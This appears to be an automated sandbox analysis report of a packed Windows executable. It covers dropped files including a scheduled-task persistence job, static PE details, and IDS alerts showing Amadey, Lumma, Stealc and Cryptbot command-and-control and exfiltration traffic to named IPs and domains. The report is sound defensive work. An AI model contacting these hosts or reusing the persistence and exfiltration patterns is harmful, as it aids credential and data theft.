Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.446972331521532
Encrypted:	false
SSDEEP:	6:YUtXUhXUEZ+lX1CGdKUe6tE9+AQy0lMUt0:Yq4Q1CGAFD9+nVbt0
MD5:	54BF7AC489517366492944160ECEF0F1
SHA1:	A6C4B35F5358E53AFF8441F8ED2DDD9312AD5B9E
SHA-256:	BAD57827A8EB3AB9F565EB0FEB9BD82DC2CB6F7603171D4D6F2E65B6709E7162
SHA-512:	E6AC84535B50760D1D7F9EBFD3335BE4BB1D21DEE3C7508763F48D7AEA8CB2188F07473716E0DE385D025A82B5F40269694DC7853DE197214A3246DEB29D6691
Malicious:	false
Preview:	....X8j..5\@.$.z.Y.fF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.537484235217124
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'952'704 bytes
MD5:	bf03b982421c50b3c232a902eed53e31
SHA1:	5f1bdec3bf5ef51e982ebd35ef62d4ab461891bd
SHA256:	ad8773dd53db992fecf9988cbedeea0a42e899995030766e4314fbb752b67249
SHA512:	dd77759327f5bac2cbb935de95e4d9c57931a548715fb7de041d8367b4e98a0ef2476577d399ef2c84a9b2f26516abf579575949bfd7917bd83ce2f9f91fdfd1
SSDEEP:	49152:nvzSPYPGhM06DbXnnIMgFsXK5vQxw6oO:n7SPYPG206DcMCsa5vQKPO
TLSH:	8BD55BA1B589B2CFC48F37F4992BCD42A95D02F8972244D7E86D74BA7D63CC015B6C28
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5700BBAA5Ah
paddsb mm5, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F5700BBCA55h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x30a148	0x10	nftwithx
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x30a0f8	0x18	nftwithx
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	76599de7b940124ee8ac19dfd30b1143	False	0.9981692779291553	data	7.983855752557827	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nftwithx	0x6b000	0x2a0000	0x29f200	148c0cac096ee7c78edcee6efaf1c422	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gffxtmqw	0x30b000	0x1000	0x600	68c3013de06e97cc3357704653f8e455	False	0.6106770833333334	data	5.25426876603436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30c000	0x3000	0x2200	02c31b98f5ad095efa3271dbf65951c3	False	0.06594669117647059	DOS executable (COM)	0.865822709459167	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-16T15:02:06.115602+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49856	185.215.113.43	80	TCP
2024-12-16T15:02:10.691147+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49867	185.215.113.16	80	TCP
2024-12-16T15:02:15.677932+0100	2058230	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)	1	192.168.2.6	58251	1.1.1.1	53	UDP
2024-12-16T15:02:16.525893+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49865	TCP
2024-12-16T15:02:17.597876+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	49887	104.21.50.161	443	TCP
2024-12-16T15:02:17.597876+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49887	104.21.50.161	443	TCP
2024-12-16T15:02:17.991663+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49890	185.215.113.43	80	TCP
2024-12-16T15:02:18.328672+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49887	104.21.50.161	443	TCP
2024-12-16T15:02:18.328672+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49887	104.21.50.161	443	TCP
2024-12-16T15:02:19.446667+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49892	185.215.113.16	80	TCP
2024-12-16T15:02:19.553892+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	49894	104.21.50.161	443	TCP
2024-12-16T15:02:19.553892+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49894	104.21.50.161	443	TCP
2024-12-16T15:02:20.315586+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49894	104.21.50.161	443	TCP
2024-12-16T15:02:20.315586+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49894	104.21.50.161	443	TCP
2024-12-16T15:02:21.966760+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	49901	104.21.50.161	443	TCP
2024-12-16T15:02:21.966760+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49901	104.21.50.161	443	TCP
2024-12-16T15:02:25.492903+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	49910	104.21.50.161	443	TCP
2024-12-16T15:02:25.492903+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49910	104.21.50.161	443	TCP
2024-12-16T15:02:26.222371+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49911	185.215.113.206	80	TCP
2024-12-16T15:02:26.313489+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49913	185.215.113.43	80	TCP
2024-12-16T15:02:26.666257+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49911	185.215.113.206	80	TCP
2024-12-16T15:02:26.787534+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49911	TCP
2024-12-16T15:02:27.107428+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49911	185.215.113.206	80	TCP
2024-12-16T15:02:27.240327+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49911	TCP
2024-12-16T15:02:27.789709+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49918	185.215.113.16	80	TCP
2024-12-16T15:02:27.816441+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	49919	104.21.50.161	443	TCP
2024-12-16T15:02:27.816441+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49919	104.21.50.161	443	TCP
2024-12-16T15:02:28.709184+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49911	185.215.113.206	80	TCP
2024-12-16T15:02:29.457448+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49911	185.215.113.206	80	TCP
2024-12-16T15:02:30.653461+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	49926	104.21.50.161	443	TCP
2024-12-16T15:02:30.653461+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49926	104.21.50.161	443	TCP
2024-12-16T15:02:31.652045+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49926	104.21.50.161	443	TCP
2024-12-16T15:02:32.985259+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	49932	104.21.50.161	443	TCP
2024-12-16T15:02:32.985259+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49932	104.21.50.161	443	TCP
2024-12-16T15:02:33.398880+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49933	185.215.113.43	80	TCP
2024-12-16T15:02:34.537313+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49932	104.21.50.161	443	TCP
2024-12-16T15:02:34.537313+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49932	104.21.50.161	443	TCP
2024-12-16T15:02:34.995175+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49938	185.215.113.16	80	TCP
2024-12-16T15:02:35.551196+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	49954	104.21.50.161	443	TCP
2024-12-16T15:02:35.551196+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49954	104.21.50.161	443	TCP
2024-12-16T15:02:35.786667+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	49955	104.21.50.161	443	TCP
2024-12-16T15:02:35.786667+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49955	104.21.50.161	443	TCP
2024-12-16T15:02:39.289981+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	49963	104.21.50.161	443	TCP
2024-12-16T15:02:39.289981+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49963	104.21.50.161	443	TCP
2024-12-16T15:02:40.058342+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49963	104.21.50.161	443	TCP
2024-12-16T15:02:41.520337+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49975	185.215.113.16	80	TCP
2024-12-16T15:02:43.452708+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49983	185.215.113.43	80	TCP
2024-12-16T15:02:44.970126+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49990	31.41.244.11	80	TCP
2024-12-16T15:02:56.711054+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50033	185.215.113.43	80	TCP
2024-12-16T15:02:58.182934+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50037	31.41.244.11	80	TCP
2024-12-16T15:02:58.595747+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50030	185.215.113.206	80	TCP
2024-12-16T15:03:00.702436+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50030	185.215.113.206	80	TCP
2024-12-16T15:03:02.015744+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50030	185.215.113.206	80	TCP
2024-12-16T15:03:03.192012+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50030	185.215.113.206	80	TCP
2024-12-16T15:03:03.523028+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50050	185.215.113.43	80	TCP
2024-12-16T15:03:05.014197+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50054	31.41.244.11	80	TCP
2024-12-16T15:03:05.322303+0100	2057945	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.6	52923	1.1.1.1	53	UDP
2024-12-16T15:03:05.322303+0100	2057983	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.6	52923	1.1.1.1	53	UDP
2024-12-16T15:03:05.537878+0100	2057949	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.6	53279	1.1.1.1	53	UDP
2024-12-16T15:03:05.537878+0100	2057981	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.6	53279	1.1.1.1	53	UDP
2024-12-16T15:03:05.915892+0100	2057929	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.6	60088	1.1.1.1	53	UDP
2024-12-16T15:03:05.915892+0100	2057979	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.6	60088	1.1.1.1	53	UDP
2024-12-16T15:03:06.132636+0100	2057931	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.6	53330	1.1.1.1	53	UDP
2024-12-16T15:03:06.132636+0100	2057977	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.6	53330	1.1.1.1	53	UDP
2024-12-16T15:03:06.353503+0100	2057925	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.6	62652	1.1.1.1	53	UDP
2024-12-16T15:03:06.353503+0100	2057973	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.6	62652	1.1.1.1	53	UDP
2024-12-16T15:03:06.619132+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50057	104.21.50.161	443	TCP
2024-12-16T15:03:06.619132+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50057	104.21.50.161	443	TCP
2024-12-16T15:03:06.648930+0100	2057927	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.6	54405	1.1.1.1	53	UDP
2024-12-16T15:03:06.648930+0100	2057975	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.6	54405	1.1.1.1	53	UDP
2024-12-16T15:03:06.753863+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50030	185.215.113.206	80	TCP
2024-12-16T15:03:06.886050+0100	2057943	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.6	63256	1.1.1.1	53	UDP
2024-12-16T15:03:06.886050+0100	2057971	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.6	63256	1.1.1.1	53	UDP
2024-12-16T15:03:07.104188+0100	2057935	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.6	50193	1.1.1.1	53	UDP
2024-12-16T15:03:07.104188+0100	2057969	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.6	50193	1.1.1.1	53	UDP
2024-12-16T15:03:07.371888+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50057	104.21.50.161	443	TCP
2024-12-16T15:03:07.371888+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50057	104.21.50.161	443	TCP
2024-12-16T15:03:07.875164+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50030	185.215.113.206	80	TCP
2024-12-16T15:03:08.618738+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50062	104.21.50.161	443	TCP
2024-12-16T15:03:08.618738+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50062	104.21.50.161	443	TCP
2024-12-16T15:03:08.879742+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50063	104.121.10.34	443	TCP
2024-12-16T15:03:09.722822+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	50063	104.121.10.34	443	TCP
2024-12-16T15:03:09.783241+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50062	104.21.50.161	443	TCP
2024-12-16T15:03:09.783241+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50062	104.21.50.161	443	TCP
2024-12-16T15:03:11.620388+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50072	104.21.50.161	443	TCP
2024-12-16T15:03:11.620388+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50072	104.21.50.161	443	TCP
2024-12-16T15:03:12.399635+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50072	104.21.50.161	443	TCP
2024-12-16T15:03:13.665670+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50075	104.21.50.161	443	TCP
2024-12-16T15:03:13.665670+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50075	104.21.50.161	443	TCP
2024-12-16T15:03:15.798898+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50077	104.21.50.161	443	TCP
2024-12-16T15:03:15.798898+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50077	104.21.50.161	443	TCP
2024-12-16T15:03:16.379685+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50081	185.215.113.43	80	TCP
2024-12-16T15:03:17.933331+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50096	31.41.244.11	80	TCP
2024-12-16T15:03:18.045719+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50098	104.21.50.161	443	TCP
2024-12-16T15:03:18.045719+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50098	104.21.50.161	443	TCP
2024-12-16T15:03:20.606356+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50116	104.21.50.161	443	TCP
2024-12-16T15:03:20.606356+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50116	104.21.50.161	443	TCP
2024-12-16T15:03:22.496990+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50116	104.21.50.161	443	TCP
2024-12-16T15:03:22.817261+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50120	185.215.113.43	80	TCP
2024-12-16T15:03:23.855758+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50121	104.21.50.161	443	TCP
2024-12-16T15:03:23.855758+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50121	104.21.50.161	443	TCP
2024-12-16T15:03:24.306498+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50122	31.41.244.11	80	TCP
2024-12-16T15:03:25.796893+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50121	104.21.50.161	443	TCP
2024-12-16T15:03:26.468538+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50123	185.215.113.206	80	TCP
2024-12-16T15:03:27.279520+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50124	185.215.113.16	80	TCP
2024-12-16T15:03:28.336764+0100	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.6	50125	185.215.113.43	80	TCP
2024-12-16T15:03:29.789139+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50126	31.41.244.11	80	TCP
2024-12-16T15:03:34.669056+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50127	185.215.113.206	80	TCP
2024-12-16T15:03:40.374628+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50145	185.215.113.206	80	TCP
2024-12-16T15:03:41.721747+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50153	185.215.113.43	80	TCP
2024-12-16T15:03:45.458648+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	50156	138.124.34.218	80	TCP
2024-12-16T15:03:47.096278+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	50160	138.124.34.218	80	TCP
2024-12-16T15:03:48.043136+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50158	185.215.113.206	80	TCP
2024-12-16T15:03:56.342369+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	50173	138.124.34.218	80	TCP
2024-12-16T15:04:30.895657+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50200	TCP
2024-12-16T15:04:34.067065+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50202	104.21.50.161	443	TCP
2024-12-16T15:04:34.067065+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50202	104.21.50.161	443	TCP
2024-12-16T15:04:34.835987+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50202	104.21.50.161	443	TCP
2024-12-16T15:04:34.835987+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50202	104.21.50.161	443	TCP
2024-12-16T15:04:35.893703+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50203	185.215.113.43	80	TCP
